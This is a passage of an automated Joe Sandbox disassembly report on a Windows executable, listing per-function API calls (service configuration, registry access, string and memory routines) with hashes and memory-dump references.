Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: e777ddaa52ca19ea212f058816be4cf9b4f7909fef5c397882d9c36728ab34be
Instruction ID: 7aafeb9b7fcd14f2159d32e4a063babeb8cc6c2eb460ef1ed450c5cc0c274c79
Opcode Fuzzy Hash: e777ddaa52ca19ea212f058816be4cf9b4f7909fef5c397882d9c36728ab34be
Instruction Fuzzy Hash: FF018871708311AF9710AFB55C80A677AF8EF98791315003FE519D2210DB78CCC68B5D

Function 00408D71 Relevance: 13.7, APIs: 9, Instructions: 229servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 00408DD5
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 00408E18
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00408E5F
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00408E90
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00408EC9
RtlMoveMemory.NTDLL(?,00000000,00000024), ref: 00408F0A
CloseServiceHandle.ADVAPI32(00000000), ref: 0040901F
CloseServiceHandle.ADVAPI32(00000000), ref: 0040904B
GlobalFree.KERNEL32(00000000), ref: 00409077

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManagerMemoryMove
String ID:
API String ID: 4257998133-0
Opcode ID: e0d1138c4e54158f724e83b1f24a34974f10c9a816e4b1bdf6dfebb805708283
Instruction ID: 4063d91d3b9d5a1375830d7e33cde59eaf5bf775d51e1c161951e48631686695
Opcode Fuzzy Hash: e0d1138c4e54158f724e83b1f24a34974f10c9a816e4b1bdf6dfebb805708283
Instruction Fuzzy Hash: 60811C71E40319ABDF109FA1DC86BAEBB71BF09715F00043AF6047A2D1D7795950CBAA

Function 004090B7 Relevance: 13.7, APIs: 9, Instructions: 218servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040911B
OpenServiceA.ADVAPI32(00000000,00000000,00000001), ref: 0040915E
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 004091A5
GlobalAlloc.KERNEL32(00000040,00000000), ref: 004091D6
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040920F
RtlMoveMemory.NTDLL(?,00000000,00000024), ref: 00409250
GlobalFree.KERNEL32(00000000), ref: 004092BE
CloseServiceHandle.ADVAPI32(00000000), ref: 004092EA
CloseServiceHandle.ADVAPI32(00000000), ref: 00409316

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManagerMemoryMove
String ID:
API String ID: 4257998133-0
Opcode ID: b8c239751931cd2ebbb256ebe8f7eb2602e1de07796c4dfa75130a9717f11215
Instruction ID: bcdf87bd6084ae19c9092a88d8c4966de3d01ae1a10a460878921c9ec18e0c8a
Opcode Fuzzy Hash: b8c239751931cd2ebbb256ebe8f7eb2602e1de07796c4dfa75130a9717f11215
Instruction Fuzzy Hash: 93712271E40308BBDF109FA19C46BAEBBB5BB0D705F00453AF604BA2D1E7795A10CB69

Function 00418C8C Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004248EC,00000001,00000000,00000000,00000100,00000001,00000000,80000004,HKEY_CURRENT_CONFIG,00000000,80000004,00000000,00000000,80000002), ref: 00418CCE
LCMapStringA.KERNEL32(00000000,00000100,004248E8,00000001,00000000,00000000), ref: 00418CEA
LCMapStringA.KERNEL32(00000000,00000000,80000004,00000000,?,80000004,00000100,00000001,00000000,80000004,HKEY_CURRENT_CONFIG,00000000,80000004,00000000,00000000,80000002), ref: 00418D33
MultiByteToWideChar.KERNEL32(00000000,00000002,80000004,00000000,00000000,00000000,00000100,00000001,00000000,80000004,HKEY_CURRENT_CONFIG,00000000,80000004,00000000,00000000,80000002), ref: 00418D6B
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 00418DC3
LCMapStringW.KERNEL32(?,?,?,00000000,00000000,00000000), ref: 00418DD9
LCMapStringW.KERNEL32(?,?,?,00000000,?,?), ref: 00418E0C
LCMapStringW.KERNEL32(?,?,?,?,?,00000000), ref: 00418E74

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 83c6437b4e5430fca9d48b0607d04b8fbc2a248524cb5404450a68cf063e4c87
Instruction ID: c472fdb8933175e01f28ce5b04692a005801bab65939a27e6dac96aa634909dc
Opcode Fuzzy Hash: 83c6437b4e5430fca9d48b0607d04b8fbc2a248524cb5404450a68cf063e4c87
Instruction Fuzzy Hash: 60514931A00249EFCF228F94DC45AEF7FB5FB49754F20412AF915A2260C7398DA1DB69

Function 00428DEB Relevance: 12.3, APIs: 8, Instructions: 300COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00428E13
__scrt_acquire_startup_lock.LIBCMT ref: 00428E65
_RTC_Initialize.LIBCMT ref: 00428E93
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00428EB9
__scrt_release_startup_lock.LIBCMT ref: 00428EE4

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 60e4de29585a717a139593c4edbfc44383218c16a38be53e5371bc076ec2912b
Instruction ID: 4a7426cd5a02b292342e46c3dba50343b65763f27c9249f6e82889eb39f974f5
Opcode Fuzzy Hash: 60e4de29585a717a139593c4edbfc44383218c16a38be53e5371bc076ec2912b
Instruction Fuzzy Hash: 2A81FF30718A258FE754BB2DB88566A33D1EB99344F84852FE409C3356EF7CCC45878A

Function 00407653 Relevance: 12.2, APIs: 8, Instructions: 210servicememoryCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040769A
OpenServiceA.ADVAPI32(00000000,00000000,80000000), ref: 004076DD
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00407724
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00407755
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040778E
GlobalFree.KERNEL32(00000000), ref: 004078B3
CloseServiceHandle.ADVAPI32(00000000), ref: 004078DF
CloseServiceHandle.ADVAPI32(00000000), ref: 0040790B

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseConfigGlobalHandleOpenQuery$AllocFreeManager
String ID:
API String ID: 1798664345-0
Opcode ID: dc7b8d99776280d5fcc06ec9f3b25ae88bed28e7c82f8c4c997df3371b41b621
Instruction ID: 82bb5012b4826c2a2407fd583c2a050c8e1dcf0d2d3d1df0a81ac3335ef77d73
Opcode Fuzzy Hash: dc7b8d99776280d5fcc06ec9f3b25ae88bed28e7c82f8c4c997df3371b41b621
Instruction Fuzzy Hash: 32714371E54309BBEB11AF919C4ABAEBA70AF05701F10443AF6047A2D1D3BD6611CF9A

Function 0044A4B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0044A4E7
___except_validate_context_record.LIBVCRUNTIME ref: 0044A4EF
_ValidateLocalCookies.LIBCMT ref: 0044A578
__IsNonwritableInCurrentImage.LIBCMT ref: 0044A5A3
_ValidateLocalCookies.LIBCMT ref: 0044A5F8

Strings

csm, xrefs: 0044A58D

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 887dc2a05956212f17c1107d743a82976216511e47ef62147981fe30885234ac
Instruction ID: 23fbc6daeefb47021d41cbc311ea01dbd9c74e35e3518be83f4a84ffc528bea0
Opcode Fuzzy Hash: 887dc2a05956212f17c1107d743a82976216511e47ef62147981fe30885234ac
Instruction Fuzzy Hash: D0411834900218ABEF00DF69C884A9EBBB1EF45318F14815BF9149B352D739DE21CB9A

Function 00411F70 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathA.SHELL32(00000000,00000000,?,00000000), ref: 00411FFB
GetWindowsDirectoryA.KERNEL32(00000000,00000104), ref: 0041201A
GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 00412031
GetTempPathA.KERNEL32(00000104,00000000), ref: 00412048

Strings

\, xrefs: 00412075
\, xrefs: 0041206E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: DirectoryPath$FolderSpecialSystemTempWindows
String ID: \$\
API String ID: 2721284240-164819647
Opcode ID: d53bd0880a3849a7bde08525207855652969fb66299b415ad0e059954c78c0b7
Instruction ID: b3de660a4a1570563768f5cf758c52a3f412166951703f458be14595abbe4f53
Opcode Fuzzy Hash: d53bd0880a3849a7bde08525207855652969fb66299b415ad0e059954c78c0b7
Instruction Fuzzy Hash: 3631A4726082419BEB308724CA45BFB6A909756700F548A1FF386C62A1D7FCC8D6D75B

Function 004128A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 004128C8

Part of subcall function 004152A3: HeapCreate.KERNELBASE(00000000,00001000,00000000,00412900,00000001), ref: 004152B4
Part of subcall function 004152A3: HeapDestroy.KERNEL32 ref: 004152F3

GetCommandLineA.KERNEL32 ref: 00412928
GetStartupInfoA.KERNEL32(?), ref: 00412953
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00412976

Part of subcall function 004129CF: ExitProcess.KERNEL32 ref: 004129EC

Strings

%!, xrefs: 00412942
h%^, xrefs: 0041292E

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID: h%^$%!
API String ID: 2057626494-3648662994
Opcode ID: 016b09da793b2c90cb65c01369ddf20d670501524f96d90bbef3d1016b3b1378
Instruction ID: 1c112cd8d6f1b27980799448211c68fd35dd8788f471579b0cca8ba035fa0c6f
Opcode Fuzzy Hash: 016b09da793b2c90cb65c01369ddf20d670501524f96d90bbef3d1016b3b1378
Instruction Fuzzy Hash: 1721A0B1E50705AFDB04AFA69D06AED7BB8EF84704F10002FF505AA291DB7C49C0CB68

Function 0042156D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 0042159B
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 004215BE
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 004215DD
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004215ED
RegCloseKey.ADVAPI32(?,?,00000000), ref: 004215F7

Strings

software, xrefs: 00421585

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 80e8dc207c320045a6935bca60dd361673d0dbd214aefa58bbfc924bb2edfcf6
Instruction ID: a2392f092df9c1f9c69c10e73d36b5a6487509486e9104089c0daf905c1b54b7
Opcode Fuzzy Hash: 80e8dc207c320045a6935bca60dd361673d0dbd214aefa58bbfc924bb2edfcf6
Instruction Fuzzy Hash: 2611D272A00128BBCB21DB9ADC84DAFFBBDEF95740F5040AAA505A2121D6749B41DB64

Function 00412549 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00412587
GetSystemMetrics.USER32(00000000), ref: 0041259F
GetSystemMetrics.USER32(00000001), ref: 004125A6
lstrcpy.KERNEL32(?,DISPLAY), ref: 004125CA

Strings

DISPLAY, xrefs: 004125C4
B, xrefs: 00412568

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: b0fc668716b7d7250c24b13e8cda1411ac6c0dba89ef1e9f838c02514d35a580
Instruction ID: fe5ba5b26784eea0a6918632b12948b819dacbf6f5cc71afde915692b3c60042
Opcode Fuzzy Hash: b0fc668716b7d7250c24b13e8cda1411ac6c0dba89ef1e9f838c02514d35a580
Instruction Fuzzy Hash: 5311A371600228BBCF119F649EC45DBBFB9EF05751B004067EC04DA141DAF9DAD1CBA8

Function 0041F63C Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 0041F648
GetSysColor.USER32(00000010), ref: 0041F64F
GetSysColor.USER32(00000014), ref: 0041F656
GetSysColor.USER32(00000012), ref: 0041F65D
GetSysColor.USER32(00000006), ref: 0041F664
GetSysColorBrush.USER32(0000000F), ref: 0041F671
GetSysColorBrush.USER32(00000006), ref: 0041F678

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 983493eef0d1161db438f6e564ef9a7fc08072a394230d7602b8075b8ca75479
Instruction ID: 0b07f05094e6bf0f45b25e3a90fad57c4be39c69d42e4e69e7cb7d9c2b2ccd03
Opcode Fuzzy Hash: 983493eef0d1161db438f6e564ef9a7fc08072a394230d7602b8075b8ca75479
Instruction Fuzzy Hash: ABF01C71A407489BD730BF729D49B47BAE4FFC4B10F42092EE6858BA90EAB5E401DF44

Function 00418EDB Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,004248EC,00000001,-00000030,00000003,00000000,-00000030,?,00000000,00412BB3,00000000,0040F67A,00000000), ref: 00418F1A
GetStringTypeA.KERNEL32(00000000,00000001,004248E8,00000001,?,?,00000000,00412BB3,00000000,0040F67A,00000000), ref: 00418F34
GetStringTypeA.KERNEL32(-00000030,0040F67A,00000000,00412BB3,00000000,00000003,00000000,-00000030,?,00000000,00412BB3,00000000,0040F67A,00000000), ref: 00418F68
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00412BB3,00000000,00000000,00000003,00000000,-00000030,?,00000000,00412BB3,00000000,0040F67A,00000000), ref: 00418FA0
MultiByteToWideChar.KERNEL32(?,00000001,00000000,00412BB3,?,?,?,?,?,?,00000000,00412BB3,00000000,0040F67A), ref: 00418FF6
GetStringTypeW.KERNEL32(0040F67A,?,00000000,00000000,?,?,?,?,?,?,00000000,00412BB3,00000000,0040F67A), ref: 00419008

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: ba1b9dcf64daa1d2b819fe4a69de1a3fcdd50b55c07522b0cb6ff9e71aa2da42
Instruction ID: 0622b9fef3ec330de3bf7a0fc25462894a9162d1e9a0998bba4386ef3e12645c
Opcode Fuzzy Hash: ba1b9dcf64daa1d2b819fe4a69de1a3fcdd50b55c07522b0cb6ff9e71aa2da42
Instruction Fuzzy Hash: 38415D72A00259AFCF219F94DC85EEF7F79EB08751F10042AF915D2250C7399DA1DBA8

Function 00407C69 Relevance: 9.1, APIs: 6, Instructions: 110servicestringCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,20000000), ref: 00407CA2
OpenServiceA.ADVAPI32(00000000,00000000,00000002), ref: 00407CE5
lstrcpyn.KERNEL32(00000000,00000000,00000000), ref: 00407D2A
ChangeServiceConfig2A.ADVAPI32(00000000,00000001,00000000), ref: 00407D62
CloseServiceHandle.ADVAPI32(00000000), ref: 00407D91
CloseServiceHandle.ADVAPI32(00000000), ref: 00407DBD

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$ChangeConfig2Managerlstrcpyn
String ID:
API String ID: 409095021-0
Opcode ID: a594cad1cb64b1b8721c586d319b71d656cb36d30f34c079d86919eb1a371ca4
Instruction ID: 0909c9e688136b2ec9b08112a3e0606558aa817fc4be6ad0a3e5dcce9aebf050
Opcode Fuzzy Hash: a594cad1cb64b1b8721c586d319b71d656cb36d30f34c079d86919eb1a371ca4
Instruction Fuzzy Hash: 4641FC70E45308FBDB10DFA19D46BAEBB70AF09701F104425F5047E290E7796B14DBAA

Function 00420E8C Relevance: 9.1, APIs: 6, Instructions: 85memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,0047B650,00000000,?,?,?,004210F4,0047B650,00000000,?,00000000,004214C2,00420A85,004214DE,0041BFE8,0041FB02), ref: 00420E97
RtlEnterCriticalSection.NTDLL(?), ref: 00420EE6
RtlLeaveCriticalSection.NTDLL(?), ref: 00420EF9
LocalAlloc.KERNEL32(00000000,00000000,?,?,?,004210F4,0047B650,00000000,?,00000000,004214C2,00420A85,004214DE,0041BFE8,0041FB02), ref: 00420F0F
LocalReAlloc.KERNEL32(?,00000000,00000002,?,?,?,004210F4,0047B650,00000000,?,00000000,004214C2,00420A85,004214DE,0041BFE8,0041FB02), ref: 00420F21
TlsSetValue.KERNEL32(?,00000000), ref: 00420F5D

Memory Dump Source

Source File: 00000000.00000002.1663881795.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1663861834.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.0000000000468000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663881795.000000000047D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664011632.0000000000481000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1664022921.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe1.jbxd

Yara matches

Similarity

API ID: AllocCriticalLocalSectionValue$EnterLeave
String ID:
API String ID: 4117633390-0
Opcode ID: bd43efb654bd0272d48d98a68f740df0023f0d8d76476e1dbadbb91404bc14d9
Instruction ID: 49945ac979d28d86afa13b3f835b529d597adfd5714bf5807f78da52b8c185ff
Opcode Fuzzy Hash: bd43efb654bd0272d48d98a68f740df0023f0d8d76476e1dbadbb91404bc14d9
Instruction Fuzzy Hash: 1331A931300215EFD724DF15D889E66B7F8FF44325B80862AF426C7681EBB8E916CB64

Function 0041E101 Relevance: 9.1, APIs: 6, Instructions: 82windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041E106
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 0041E153
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 0041E175
GetCapture.USER32 ref: 0041E187
